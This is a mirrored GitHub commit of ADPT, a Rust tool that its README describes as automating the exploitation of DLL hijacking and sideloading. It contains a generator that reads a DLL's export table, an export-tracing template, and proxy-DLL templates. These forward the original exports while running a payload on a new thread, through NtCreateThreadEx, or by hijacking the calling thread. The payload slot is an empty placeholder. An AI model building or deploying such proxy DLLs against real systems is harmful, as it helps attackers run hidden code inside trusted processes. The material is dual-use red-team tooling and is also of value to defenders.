mirror of
https://github.com/Kudaes/ADPT
synced 2026-06-06 16:04:33 +00:00
Initial commit
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug/
|
||||
target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
@@ -0,0 +1,14 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug/
|
||||
target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "exporttracer"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
dinvoke_rs= "0.1.4"
|
||||
@@ -0,0 +1,14 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug/
|
||||
target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
@@ -0,0 +1,10 @@
|
||||
[package]
|
||||
name = "generator"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
dinvoke_rs = "0.1.4"
|
||||
getopts = "0.2"
|
||||
@@ -0,0 +1,275 @@
|
||||
use std::{env, fs::{self}};
|
||||
use getopts::Options;
|
||||
|
||||
static TEMPLATE1: &str = r#"
|
||||
#[no_mangle]
|
||||
fn {FUNC_NAME}()
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
asm!(
|
||||
"push rcx",
|
||||
"push rdx",
|
||||
"push r8",
|
||||
"push r9",
|
||||
"sub rsp, 0x28",
|
||||
"mov rcx, {INDEX}",
|
||||
"call {}",
|
||||
"add rsp, 0x28",
|
||||
"pop r9",
|
||||
"pop r8",
|
||||
"pop rdx",
|
||||
"pop rcx",
|
||||
"jmp rax",
|
||||
sym gateway,
|
||||
options(nostack)
|
||||
);
|
||||
}
|
||||
}
|
||||
"#;
|
||||
static TEMPLATE2: &str = r#"{NUM} => {"{NAME}".to_string()}"#;
|
||||
|
||||
static TEMPLATE3: &str = r#"#[no_mangle]
|
||||
fn {FORWARDED_NAME}() {
|
||||
}"#;
|
||||
|
||||
|
||||
fn main()
|
||||
{
|
||||
|
||||
let args: Vec<String> = env::args().collect();
|
||||
let program = args[0].clone();
|
||||
let mut opts = Options::new();
|
||||
opts.reqopt("m", "mode", "Create a dll to trace (trace) or proxy (proxy) called exports.", "");
|
||||
opts.optflag("h", "help", "Print this help menu.");
|
||||
opts.reqopt("p", "path", "Path to the original dll.", "");
|
||||
opts.optopt("e", "export", "Exported function in which to execute the payload.", "");
|
||||
opts.optopt("l", "logpath", r"Path in which to write the log file [default: C:\Windows\Temp\result.log].", "");
|
||||
opts.optflag("n", "native", "Use NtCreateThreadEx instead of std::thread to run the payload.");
|
||||
opts.optflag("c", "current-thread", "Hijack the current thread instead of running the payload on a new thread.");
|
||||
|
||||
|
||||
let matches = match opts.parse(&args[1..])
|
||||
{
|
||||
Ok(m) => { m }
|
||||
Err(_) => {print_usage(&program, opts); return; }
|
||||
};
|
||||
|
||||
if matches.opt_present("h")
|
||||
{
|
||||
print_usage(&program, opts);
|
||||
return;
|
||||
}
|
||||
let mut log_path = r"C:\Windows\Temp\result.log".to_string();
|
||||
let mut hijacked_export = String::new();
|
||||
let mut native = "false".to_string();
|
||||
let mut hijack = false;
|
||||
let path = matches.opt_str("p").unwrap();
|
||||
let mode = matches.opt_str("m").unwrap();
|
||||
|
||||
if matches.opt_present("l") {
|
||||
log_path = matches.opt_str("l").unwrap()
|
||||
}
|
||||
|
||||
if matches.opt_present("e") {
|
||||
hijacked_export = matches.opt_str("e").unwrap()
|
||||
}
|
||||
|
||||
if matches.opt_present("n") {
|
||||
native = "true".to_string();
|
||||
}
|
||||
|
||||
if matches.opt_present("c") {
|
||||
hijack = true;
|
||||
}
|
||||
|
||||
if mode == "trace" {
|
||||
generate_tracer_dll(path, log_path);
|
||||
}else {
|
||||
generate_proxy_dll(path, hijacked_export, native, hijack);
|
||||
}
|
||||
|
||||
println!("[+] Process completed.")
|
||||
|
||||
}
|
||||
|
||||
fn print_usage(program: &str, opts: Options) {
|
||||
let brief = format!(r"Usage: {} -m trace|proxy -p C:\Windows\System32\textshaping.dll [options]", program);
|
||||
print!("{}", opts.usage(&brief));
|
||||
}
|
||||
|
||||
fn generate_tracer_dll(original_dll_path: String, log_path: String)
|
||||
{
|
||||
let loaded_dll = dinvoke_rs::dinvoke::load_library_a(&original_dll_path);
|
||||
if loaded_dll == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let names_info = get_function_info(loaded_dll);
|
||||
let number_of_functions: String = names_info.len().to_string();
|
||||
let mut first_string = String::new();
|
||||
let mut second_string = "\nfn get_function_name(index: i32) -> String\n{\n\tmatch index\n\t{".to_string();
|
||||
let mut def_file_string = "EXPORTS\n".to_string();
|
||||
|
||||
for (i,name) in names_info.iter().enumerate()
|
||||
{
|
||||
let template1 = TEMPLATE1.replace("{FUNC_NAME}", &name.0).replace("{INDEX}", &i.to_string());
|
||||
first_string.push_str(&template1);
|
||||
let template2 = TEMPLATE2.replace("{NUM}", &i.to_string()).replace("{NAME}", &name.0);
|
||||
second_string.push_str("\n\t\t");
|
||||
second_string.push_str(&template2);
|
||||
|
||||
let export_string = format!("{} @{}\n",&name.0, name.1);
|
||||
def_file_string.push_str(&export_string);
|
||||
}
|
||||
|
||||
let ending = "\n\t\t_ => {String::new()}\n\t}\n} ";
|
||||
second_string.push_str(ending);
|
||||
|
||||
let path = env::current_exe().unwrap();
|
||||
let path = path.to_str().unwrap();
|
||||
let path = path.replace("generator.exe", "");
|
||||
let template_path = format!("{}{}", &path, r"..\..\template1.txt");
|
||||
|
||||
let mut content = fs::read_to_string(&template_path).expect("[x] Couldn't read template1.txt file.");
|
||||
content = content.replace("{DLL_NAME}", &original_dll_path)
|
||||
.replace("{NUM_FUNCTIONS}", &number_of_functions)
|
||||
.replace("{LOG_PATH}", &log_path);
|
||||
|
||||
content.push_str(&first_string);
|
||||
content.push_str(&second_string);
|
||||
|
||||
let lib_path = format!("{}{}", path, r"..\..\..\ExportTracer\src\lib.rs");
|
||||
let _ = fs::write(lib_path, content);
|
||||
|
||||
let def_path = format!("{}{}", path, r"..\..\..\ExportTracer\file.def").replace(r"\", r"\\");
|
||||
let _ = fs::write(&def_path, def_file_string);
|
||||
|
||||
let config_path = format!("{}{}", path, r"..\..\..\ExportTracer\.cargo\config");
|
||||
let template_path: String = format!("{}{}", &path, r"..\..\template3.txt");
|
||||
|
||||
let mut config_content = fs::read_to_string(&template_path).expect("[x] Couldn't read cargo.toml file.");
|
||||
config_content = config_content.replace("{DEF_PATH}", &def_path);
|
||||
|
||||
let _ = fs::write(config_path, config_content);
|
||||
|
||||
}
|
||||
|
||||
fn generate_proxy_dll(original_dll_path: String, hijacked_export: String, native: String, hijack: bool)
|
||||
{
|
||||
let loaded_dll = dinvoke_rs::dinvoke::load_library_a(&original_dll_path);
|
||||
if loaded_dll == 0 {
|
||||
return;
|
||||
}
|
||||
let names_info = get_function_info(loaded_dll);
|
||||
let number_of_functions: String = names_info.len().to_string();
|
||||
let module_name = original_dll_path.replace(".dll","");
|
||||
let mut first_string = String::new();
|
||||
let mut second_string = "\nfn get_function_name(index: i32) -> String\n{\n\tmatch index\n\t{".to_string();
|
||||
let mut third_string: String = String::new();
|
||||
let mut def_file_string = "EXPORTS\n".to_string();
|
||||
for (i,name) in names_info.iter().enumerate()
|
||||
{
|
||||
if &name.0 == &hijacked_export
|
||||
{
|
||||
let template1 = TEMPLATE1.replace("{FUNC_NAME}", &name.0).replace("{INDEX}", &i.to_string());
|
||||
first_string.push_str(&template1);
|
||||
let template2 = TEMPLATE2.replace("{NUM}", &i.to_string()).replace("{NAME}", &name.0);
|
||||
second_string.push_str("\n\t\t");
|
||||
second_string.push_str(&template2);
|
||||
let export_string = format!("{} @{}\n",&name.0, name.1);
|
||||
def_file_string.push_str(&export_string);
|
||||
}
|
||||
else
|
||||
{
|
||||
let template3 = TEMPLATE3.replace("{FORWARDED_NAME}", &name.0);
|
||||
third_string.push_str(&template3);
|
||||
third_string.push('\n');
|
||||
let export_string = format!("{}={}.{} @{}\n", &name.0, module_name, &name.0, name.1);
|
||||
def_file_string.push_str(&export_string);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
let ending = "\n\t\t_ => {String::new()}\n\t}\n} ";
|
||||
second_string.push_str(ending);
|
||||
let path = env::current_exe().unwrap();
|
||||
let path = path.to_str().unwrap();
|
||||
let path = path.replace("generator.exe", "");
|
||||
let template_path;
|
||||
if !hijack {
|
||||
template_path = format!("{}{}", &path, r"..\..\template2.txt");
|
||||
} else {
|
||||
template_path = format!("{}{}", &path, r"..\..\template4.txt");
|
||||
}
|
||||
let mut content = fs::read_to_string(&template_path).expect("[x] Couldn't read template2.txt file.");
|
||||
|
||||
content = content.replace("{DLL_NAME}", &original_dll_path)
|
||||
.replace("{NUM_FUNCTIONS}", &number_of_functions)
|
||||
.replace("{NATIVE}", &native);
|
||||
content.push_str(&first_string);
|
||||
content.push_str(&third_string);
|
||||
content.push_str(&second_string);
|
||||
|
||||
let lib_path = format!("{}{}", path, r"..\..\..\ProxyDll\src\lib.rs");
|
||||
let _ = fs::write(lib_path, content);
|
||||
|
||||
let def_path = format!("{}{}", path, r"..\..\..\ProxyDll\file.def").replace(r"\", r"\\");
|
||||
let _ = fs::write(&def_path, def_file_string);
|
||||
|
||||
let config_path = format!("{}{}", path, r"..\..\..\ProxyDll\.cargo\config");
|
||||
let template_path: String = format!("{}{}", &path, r"..\..\template3.txt");
|
||||
|
||||
let mut config_content = fs::read_to_string(&template_path).expect("[x] Couldn't read cargo.toml file.");
|
||||
config_content = config_content.replace("{DEF_PATH}", &def_path);
|
||||
let _ = fs::write(config_path, config_content);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
pub fn get_function_info(module_base_address: isize) -> Vec<(String,u32)> {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let mut functions_info: Vec<(String, u32)> = vec![];
|
||||
let pe_header = *((module_base_address + 0x3C) as *mut i32);
|
||||
let opt_header: isize = module_base_address + (pe_header as isize) + 0x18;
|
||||
let magic = *(opt_header as *mut i16);
|
||||
let p_export: isize;
|
||||
|
||||
if magic == 0x010b {
|
||||
p_export = opt_header + 0x60;
|
||||
}
|
||||
else {
|
||||
p_export = opt_header + 0x70;
|
||||
}
|
||||
|
||||
let export_rva = *(p_export as *mut i32);
|
||||
let ordinal_base = *((module_base_address + export_rva as isize + 0x10) as *mut u32);
|
||||
let number_of_names = *((module_base_address + export_rva as isize + 0x18) as *mut u32);
|
||||
let names_rva = *((module_base_address + export_rva as isize + 0x20) as *mut u32);
|
||||
let ordinals_rva = *((module_base_address + export_rva as isize + 0x24) as *mut u32);
|
||||
for x in 0..number_of_names
|
||||
{
|
||||
|
||||
let address = *((module_base_address + names_rva as isize + x as isize * 4) as *mut i32);
|
||||
let ordinal = *((module_base_address + ordinals_rva as isize + x as isize * 2) as *mut u16);
|
||||
let mut function_name_ptr = (module_base_address + address as isize) as *mut u8;
|
||||
let mut function_name: String = "".to_string();
|
||||
|
||||
while *function_name_ptr as char != '\0' // null byte
|
||||
{
|
||||
function_name.push(*function_name_ptr as char);
|
||||
function_name_ptr = function_name_ptr.add(1);
|
||||
}
|
||||
|
||||
let func_ordinal = ordinal_base + ordinal as u32;
|
||||
functions_info.push((function_name,func_ordinal));
|
||||
|
||||
}
|
||||
|
||||
functions_info
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
use std::arch::asm;
|
||||
use std::io::prelude::*;
|
||||
use std::{fs, process};
|
||||
|
||||
const DLL_NAME: &str = r"{DLL_NAME}";
|
||||
const LOG_NAME: &str = r"{LOG_PATH}";
|
||||
|
||||
static mut ADDRESSES: [isize;{NUM_FUNCTIONS}] = [0;{NUM_FUNCTIONS}];
|
||||
|
||||
fn terminate_process()
|
||||
{
|
||||
let mut file = fs::OpenOptions::new().create(true).append(true).open(LOG_NAME).unwrap();
|
||||
file.write_all(b"Error ocurred!").unwrap();
|
||||
process::exit(-1);
|
||||
}
|
||||
|
||||
fn gateway(index: i32) -> isize
|
||||
{
|
||||
|
||||
let func_name = get_function_name(index);
|
||||
if func_name.is_empty()
|
||||
{
|
||||
return (terminate_process as *const()) as isize;
|
||||
}
|
||||
|
||||
unsafe
|
||||
{
|
||||
if ADDRESSES[index as usize] != 0
|
||||
{
|
||||
let mut file = fs::OpenOptions::new().create(true).append(true).open(LOG_NAME).unwrap();
|
||||
file.write_all(func_name.as_bytes()).unwrap();
|
||||
file.write_all(b"\n").unwrap();
|
||||
return ADDRESSES[index as usize];
|
||||
}
|
||||
}
|
||||
|
||||
let mut file = fs::OpenOptions::new().create(true).append(true).open(LOG_NAME).unwrap();
|
||||
file.write_all(func_name.as_bytes()).unwrap();
|
||||
file.write_all(b"\n").unwrap();
|
||||
|
||||
|
||||
let dll_address = dinvoke_rs::dinvoke::load_library_a(DLL_NAME);
|
||||
if dll_address == 0
|
||||
{
|
||||
return (terminate_process as *const()) as isize;
|
||||
}
|
||||
let func_address = dinvoke_rs::dinvoke::get_function_address(dll_address, &func_name);
|
||||
|
||||
unsafe
|
||||
{
|
||||
ADDRESSES[index as usize] = func_address;
|
||||
}
|
||||
|
||||
func_address
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
use std::arch::asm;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::{ptr, thread};
|
||||
use dinvoke_rs::data::PVOID;
|
||||
use lazy_static::lazy_static;
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
|
||||
const NATIVE: bool = {NATIVE};
|
||||
const DLL_NAME: &str = r"{DLL_NAME}";
|
||||
static mut ADDRESS: isize = 0;
|
||||
lazy_static! {
|
||||
static ref MUTEX: Arc<Mutex<i32>> = Arc::new(Mutex::new(0));
|
||||
}
|
||||
|
||||
fn gateway(index: i32) -> isize
|
||||
{
|
||||
let flag = Arc::clone(&MUTEX);
|
||||
let mut flag = flag.lock().unwrap();
|
||||
if *flag == 0
|
||||
{
|
||||
*flag += 1;
|
||||
if NATIVE
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let h = HANDLE::default();
|
||||
let handle: *mut HANDLE = std::mem::transmute(&h);
|
||||
let phand = HANDLE(-1);
|
||||
let thread_start_address = payload_execution as *const();
|
||||
let start_routine: PVOID = std::mem::transmute(thread_start_address);
|
||||
let ret = dinvoke_rs::dinvoke::nt_create_thread_ex(
|
||||
handle,
|
||||
0x1FFFFF,
|
||||
ptr::null_mut(),
|
||||
phand,
|
||||
start_routine,
|
||||
ptr::null_mut(),
|
||||
0,0,0,0,
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
thread::spawn(|| {
|
||||
payload_execution();
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
thread::spawn(|| {
|
||||
payload_execution();
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
unsafe
|
||||
{
|
||||
if ADDRESS != 0
|
||||
{
|
||||
return ADDRESS;
|
||||
}
|
||||
}
|
||||
|
||||
let func_name = get_function_name(index);
|
||||
if func_name.is_empty()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
let dll_address = dinvoke_rs::dinvoke::load_library_a(DLL_NAME);
|
||||
if dll_address == 0
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
let func_address = dinvoke_rs::dinvoke::get_function_address(dll_address, &func_name);
|
||||
unsafe
|
||||
{
|
||||
ADDRESS = func_address;
|
||||
}
|
||||
|
||||
func_address
|
||||
}
|
||||
|
||||
fn payload_execution()
|
||||
{
|
||||
loop {} // Here is where your code goes
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
[build]
|
||||
target = "x86_64-pc-windows-msvc"
|
||||
rustflags = [
|
||||
"-C", "link-arg=/DEF:{DEF_PATH}",
|
||||
#"-C", "link-arg=/FORCE:MULTIPLE"
|
||||
]
|
||||
@@ -0,0 +1,25 @@
|
||||
use std::arch::asm;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use lazy_static::lazy_static;
|
||||
|
||||
lazy_static! {
|
||||
static ref MUTEX: Arc<Mutex<i32>> = Arc::new(Mutex::new(0));
|
||||
}
|
||||
|
||||
fn gateway(index: i32)
|
||||
{
|
||||
let flag = Arc::clone(&MUTEX);
|
||||
let mut flag = flag.lock().unwrap();
|
||||
if *flag == 0
|
||||
{
|
||||
*flag += 1;
|
||||
payload_execution();
|
||||
}
|
||||
|
||||
loop {} // Hijack current thread, don't let the process exit
|
||||
}
|
||||
|
||||
fn payload_execution()
|
||||
{
|
||||
loop {} // Here is where your code goes
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 10 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.5 KiB |
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,14 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug/
|
||||
target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
@@ -0,0 +1,19 @@
|
||||
[package]
|
||||
name = "proxydll"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
dinvoke_rs= "0.1.4"
|
||||
lazy_static = "*"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "0.51"
|
||||
features = [
|
||||
"Win32_Foundation"
|
||||
]
|
||||
@@ -0,0 +1,61 @@
|
||||
# Description
|
||||
|
||||
Another Dll Proxying Tool is exactly what it sounds like, another tool that allows you to automate the exploitation of dll hijack/sideloading opportunities. The goal was to create a simple tool for lazy people like me, meaning that I could abuse this hijack opportunities without the need to:
|
||||
* Open Api Monitor or reverse anything in order to find out which exported functions from the original dll are being called in the first place.
|
||||
* Use GHidra or any other reversing tool in order to obtain any function's signature (in/out parameters and so on).
|
||||
* Translate C types and structs to Rust in order to recreate those exported function definitions.
|
||||
* Run my payload on DllMain.
|
||||
|
||||
With just a little bit of assembly code you can avoid all of those annoying steps, making the exploitation of this hijack opportunities pretty fast and simple. Besides that, ADPT comes with a few additional features that I've found useful:
|
||||
* Proxied exported functions also keep the original ordinals values, meaning that they can be called that way instead of by name.
|
||||
* You can run your payload in the calling thread instead of spawning a new one, allowing you to hijack the program execution. This is useful in some cases to prevent the process from dying.
|
||||
* The payload can be run on a separate thread either by using `std::thread` or using a native method (`NtCreateThreadEx`). IDK why would this be useful, but whatever.
|
||||
|
||||
The "bad" news are:
|
||||
* You still need to use Procmon like tools to identify the hijack opportunity.
|
||||
* Your payload has to be written in Rust :) (or you could write it in any other language, compile it to a dll and use [Dinvoke_rs](https://github.com/Kudaes/DInvoke_rs) to map it into the process...).
|
||||
* This tool only supports 64 bits dlls.
|
||||
|
||||
# Structure
|
||||
|
||||
This tool contains three different projects:
|
||||
* `Generator` is the main one and its goal is to programmatically create the dlls needed to automate the exploitation of the hijack opportunities.
|
||||
* `ExportTracer` is a template project that is used to create a dll that will trace the exported functions called by the vulnerable binary. This allows you to identify in which exported function put your payload code.
|
||||
* Once we have find out which exported function from the original dll we want to hijack, `ProxyDll` is used as a template project in order to generate the final dll, allowing you to add your payload code on it.
|
||||
|
||||
